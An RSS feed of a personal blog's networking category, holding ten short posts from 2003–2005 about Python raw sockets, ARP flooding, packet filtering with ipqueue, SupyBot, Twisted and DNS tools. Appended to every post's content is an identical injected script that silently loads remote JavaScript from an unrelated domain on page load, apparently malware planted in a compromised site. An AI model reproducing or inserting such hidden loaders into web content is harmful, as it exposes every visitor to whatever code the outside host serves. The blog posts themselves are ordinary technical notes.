<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Network</title>
	<atom:link href="http://www.larsen-b.com/topics/python/network/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Send hand-crafted Ethernet Frames in Python (ARP for example)</title>
		<link>http://www.larsen-b.com/Article/206.html</link>
		<comments>http://www.larsen-b.com/Article/206.html#comments</comments>
		<pubDate>Tue, 07 Jun 2005 14:49:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Tonight I decided to send ARP flood over the wireless link to find who is using it. This is a strange thing .. ok but it works pretty fine and quickly .. First step is to build the custom packet.. &#8230; <a href="http://www.larsen-b.com/Article/206.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Tonight I decided to send ARP flood over the wireless link to find who is using it. This is a strange thing .. ok but it works pretty fine and quickly ..</p>
<p>First step is to build the custom packet.. I tested several suffs and i decided to keep the <a class="reference" href="http://monkey.org/~dugsong/dpkt/">dpkt</a> package. It support a large subset of packets and is easy to use. (Nobody for a MSN parser ?:)</p>
<p>The next step is to send and wait for answers. This has been a bit harder, meanly because I spent a long time looking how to send Ethernet Frames (not IP packets).<br />
In other words, how RAW sockets works in python.</p>
<p>Here a small answer.</p>
<pre class="literal-block">soc = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) #create the raw-socket
soc.bind(("ath0",0x0806)) # ether type for ARP

soc.send(handly_crafted_packet)
data = soc.receive(1024)
...</pre>
<p>If you want a full example, checkout the <a class="reference" href="http://svn.pythonfr.org/public/pythonfr/utils/network/arp-flood.py">arp-flood</a> script I wrote.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/206.html/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Packet filtering w/ Python and Linux</title>
		<link>http://www.larsen-b.com/Article/177.html</link>
		<comments>http://www.larsen-b.com/Article/177.html#comments</comments>
		<pubDate>Mon, 01 Nov 2004 14:32:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While looking for a fun way to filter my WIFI traffic, I decided to look at userland firewall API in Python. I found: ipqueue. I haven&#8217;t really wrote a full featured app with it, but here the first things to &#8230; <a href="http://www.larsen-b.com/Article/177.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While looking for a fun way to filter my WIFI traffic, I decided to look at userland firewall API in Python. I found: <a class="reference" href="http://woozle.org/~neale/src/ipqueue/">ipqueue</a>.</p>
<p>I haven&#8217;t really wrote a full featured app with it, but here the first things to make it work.</p>
<pre class="literal-block"># load the kernel queue module
modprobe ip_queue
# all outgoing ping will pass throught the queue
iptables -A OUTPUT -p icmp -j QUEUE</pre>
<p>Now here a little script that act as the queue</p>
<pre class="literal-block">import ipqueue

q = ipqueue.IPQ(ipqueue.IPQ_COPY_PACKET)

while 1:
p = q.read()
pID = p[ipqueue.PACKET_ID]

print pID
# accept the packet
q.set_verdict(pID,ipqueue.NF_ACCEPT)</pre>
<p>Next step, simply run this script with the root privilege, and you will see outgoing ping print on the stdout.</p>
<p>Additionnal note: <a class="reference" href="http://woozle.org/~neale/src/ipqueue/">ipqueue</a> only works on python2.2 right now, I hope Neale will fix that soon. Anyway this is really a nice piece of code thanks guy!<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/177.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Full featured SMTP in Python ?</title>
		<link>http://www.larsen-b.com/Article/154.html</link>
		<comments>http://www.larsen-b.com/Article/154.html#comments</comments>
		<pubDate>Wed, 01 Sep 2004 21:34:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a recent post Ian explain he get a lot of trouble w/ the configuration of his mail system. I ran into the same issues a little time ago. Now i&#8217;m using postfix and courier-imap and maildrop to dispatch the &#8230; <a href="http://www.larsen-b.com/Article/154.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a recent <a class="reference" href="http://blog.colorstudy.com/ianb/weblog/2004/08/31.html#P153">post</a> Ian explain he get a lot of trouble w/ the configuration of his mail system. I ran into the same issues a little time ago. Now i&#8217;m using postfix and courier-imap and maildrop to dispatch the mail between. This setup is really easy because Postfix just accept incomming mail, and maildrop deliver it in the right imap folders. By this way, i only have to tweak maildrop to add some users. And works fine with virtualhost. In my current setup, i&#8217;m using a home-made spambayes deamon (<a class="reference" href="http://www.larsen-b.com/Article/112.html">sb_global_server</a>), to spam-tag all incomming mail. (even for virtual host users)</p>
<p>Now, i need to setup a mailing list manager&#8230; and issues are back again :( I read the mailman howto, and no, it doesn&#8217;t support virtual-hosting out-of-the-box. Play with a bunch of alias? no thanks&#8230; I can use another one of course, but intregation w/ postfix is not so-trivial for most of them.</p>
<p>So why not write a full featured SMTP daemon in Py? We will get:</p>
<ul class="simple">
<li>a system that can scale easily ..</li>
<li>support for most of db-backend without a pain</li>
<li>can embed spambayes .. or any other filtering system in only one piece of code ..</li>
<li>only one users configuration (not to use LDAP or others to glue..)</li>
</ul>
<p>Right now, if you want to have a good mail system you need to use a bunch of stuffs, written in a bunch of langage .. and use a bunch of tricks to glue each others&#8230; But everybody wants a nice/simple mail system ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/154.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Twisted in EndUserLand</title>
		<link>http://www.larsen-b.com/Article/134.html</link>
		<comments>http://www.larsen-b.com/Article/134.html#comments</comments>
		<pubDate>Wed, 14 Jul 2004 12:20:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[torrent]]></category>
		<category><![CDATA[twisted]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[As nobody notice that, the new apt-proxy use python (not perl as the old one). This is really a good news because i love Python and the new apt-proxy has some better performance than the oldest perlish one. The key &#8230; <a href="http://www.larsen-b.com/Article/134.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>As nobody notice that, the new apt-proxy use python (not perl as the old one). This is really a good news because i love Python and the new apt-proxy has some better performance than the oldest perlish one. The key value here is the Twisted Matrix framework, now apt-proxy can download multiple .deb at the time without a bunch of process or other weakness. This is a great new for debian users but specially for twisted developper because i think it&#8217;s the first end-user app that use twisted (not speaking about webserver of other developpers geeky stuffs).</p>
<p>&#8211; Nobody for a twisted bittorrent server ? This would save a bunch of CPU cycles too !<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/134.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SupyBot</title>
		<link>http://www.larsen-b.com/Article/93.html</link>
		<comments>http://www.larsen-b.com/Article/93.html#comments</comments>
		<pubDate>Fri, 30 Jan 2004 16:17:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[http://supybot.sourceforge.net (SupyBot) is the coolest ircbot written in python, that i&#8217; ever used. After 3 years of good work with eggdrop, it&#8217;s time to use something more userfriendly and python based. This is a short introduction to use it: download &#8230; <a href="http://www.larsen-b.com/Article/93.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a class="reference" href="http://supybot.sourceforge.net">http://supybot.sourceforge.net</a> (SupyBot) is the coolest  ircbot written in python, that i&#8217; ever used. After 3 years of good work with eggdrop, it&#8217;s time to use something more userfriendly and python based.</p>
<div id="this-is-a-short-introduction-to-use-it" class="section">
<h1><a name="this-is-a-short-introduction-to-use-it">This is a short introduction to use it:</a></h1>
<ul class="simple">
<li>download and install it (python setup.py install) as usual</li>
<li>run the supybot-wizard to build your own bot script</li>
<li>call supy-adduser script to add you as a user of the bot, don&#8217;t forget to add the &#8216;owner&#8217; capabiliy.</li>
<li>run the bot.</li>
</ul>
</div>
<div id="some-usefull-commands" class="section">
<h1><a name="some-usefull-commands">Some usefull commands:</a></h1>
<ul class="simple">
<li>@ / msg : to send a command to the bot, simply post @dummy_command or send it to bot directly (/msg)</li>
<li>to load a plugin: @load plugin_name</li>
<li>to identify yourself (users are in conf/users.conf) /msg bot identify login password</li>
<li>@list : list (w/o argument) will return the plugin list</li>
<li>@list Plugin; will give you function of the plugin</li>
<li>@help plugin ../ @apropos: give help about commands.</li>
<li>@services getops: ask the op for the bot at chanserv</li>
</ul>
</div>
<div id="how-auto-op-works" class="section">
<h1><a name="how-auto-op-works">How auto-op works:</a></h1>
<p>The main purpose of an ircbot is to give op right at the user join. To do this you need to:</p>
<ul class="simple">
<li>@enforcer config auto-op true : ask the ircbot to do auto-op</li>
<li>add the capabily &#8216;auto-op&#8217; to the user: @addcapabilty  login auto-op</li>
<li>Now when the user identity himself, he will be oped by the bot</li>
<li>the next step is to play w/ hostmasks to avoid the need of identify<br />
call @hostmasks login to see the hostmasks for a user / and add/delhostmasks to set masks need to do this. for exemple: addhostmask jkx <a class="reference" href="mailto:'soif!~soif@*.abo.wanadoo.fr">&#8216;soif!~soif@*.abo.wanadoo.fr</a>&#8216;</li>
</ul>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/93.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>DNS and Localisation w/ Python</title>
		<link>http://www.larsen-b.com/Article/90.html</link>
		<comments>http://www.larsen-b.com/Article/90.html#comments</comments>
		<pubDate>Tue, 27 Jan 2004 18:07:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[geo]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This post load testing BIND using dnspython and queryperf is a nice post about the use of dnspython module. There is a bunch of dns module right now adns and other.. but this one looks kool since it can read &#8230; <a href="http://www.larsen-b.com/Article/90.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This <a class="reference" href="http://www.pycs.net/users/0000231/weblog/2004/01/25.html#P18">post</a> load testing BIND using dnspython and queryperf is a nice post about the use of <a class="reference" href="http://www.dnspython.org/">dnspython</a> module. There is a bunch of dns module right now adns and other.. but this one looks kool since it can read zone file directly .. the best thing would be to do the reverse .. building db file w hand is painfull you know .. what do you use to do this ?</p>
<p>Another pretty kool stuff is <a class="reference" href="http://ppa.sourceforge.net/#ip2cc">ip2cc</a>, which do some dns query to find in which country the ip come from. Not really usefull but really funny :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/90.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Dive into BSD packet filter w/ Python</title>
		<link>http://www.larsen-b.com/Article/86.html</link>
		<comments>http://www.larsen-b.com/Article/86.html#comments</comments>
		<pubDate>Mon, 19 Jan 2004 08:17:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[bsd]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While looking for a way to call ioctl in Python, I found this . This is really strange.. have you ever think of tweaking a kernel with Python ? , i don&#8217;t. Anyway, I really enjoy this, since i don&#8217;t &#8230; <a href="http://www.larsen-b.com/Article/86.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While looking for a way to call ioctl in Python, I found <a class="reference" href="http://dbforums.com/arch/181/2003/1/648457">this</a> . This is really strange.. have you ever think of tweaking a kernel with Python ? , i don&#8217;t.</p>
<p>Anyway, I really enjoy this, since i don&#8217;t want to do this kind of stuff, but i gonna use this is avoid the use of modprobe in my firewall config.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/86.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Raw Network access in Python</title>
		<link>http://www.larsen-b.com/Article/75.html</link>
		<comments>http://www.larsen-b.com/Article/75.html#comments</comments>
		<pubDate>Mon, 22 Dec 2003 23:28:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ever think of sniffing or forging packet in Python ? I spent a part of time hacking some UDP packet for my work and building Ethercap rules is a bit hard now you can do this with : http://oss.coresecurity.com/projects/pcapy.html http://oss.coresecurity.com/projects/impacket.html]]></description>
				<content:encoded><![CDATA[<p>Ever think of sniffing  or forging packet in Python ? I spent a part of time hacking some UDP packet for my work and building Ethercap rules is a bit hard now you can do this with :</p>
<ul class="simple">
<li><a class="reference" href="http://oss.coresecurity.com/projects/pcapy.html">http://oss.coresecurity.com/projects/pcapy.html</a></li>
<li><a class="reference" href="http://oss.coresecurity.com/projects/impacket.html">http://oss.coresecurity.com/projects/impacket.html</a></li>
</ul>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/75.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twisted or not</title>
		<link>http://www.larsen-b.com/Article/46.html</link>
		<comments>http://www.larsen-b.com/Article/46.html#comments</comments>
		<pubDate>Tue, 11 Nov 2003 12:10:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[twisted]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I spent a couple of hours to look at http://www.twistedmatrix.com/ . After a little of hacking, i think i understand how it works, mainly static.File. But i still need to work on this since i want to use it to &#8230; <a href="http://www.larsen-b.com/Article/46.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spent a couple of hours to look at <a class="reference" href="http://www.twistedmatrix.com/">http://www.twistedmatrix.com/</a> . After a little of hacking, i think i understand how it works, mainly static.File. But i still need to work on this since i want to use it to share some large files and this need a little work to avoid locking the whole system.</p>
<p>Perhaps using static.File as core of my system will do the trick but as i want to do some bandwith limitation i need to write some custom stuffs. ..<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/46.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Medusa strikes back</title>
		<link>http://www.larsen-b.com/Article/31.html</link>
		<comments>http://www.larsen-b.com/Article/31.html#comments</comments>
		<pubDate>Fri, 24 Oct 2003 10:33:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While I was thinking about some sync / async download for iAggregator (mainly to reduce the time needed to this), i remember that i&#8217;ve read it previously somewhere .. After a little search i have found this : http://effbot.org/zone/effnews-1.htm Perhaps &#8230; <a href="http://www.larsen-b.com/Article/31.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While I was thinking about some sync / async download for iAggregator (mainly to reduce the time needed to this), i remember that i&#8217;ve read it previously somewhere .. After a little search i have found this : <a class="reference" href="http://effbot.org/zone/effnews-1.htm">http://effbot.org/zone/effnews-1.htm</a></p>
<p>Perhaps you don&#8217;t know the Effbot ? Python&#8217;s user should take a look at  <a class="reference" href="http://effbot.org/zone/">http://effbot.org/zone/</a> .<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/31.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
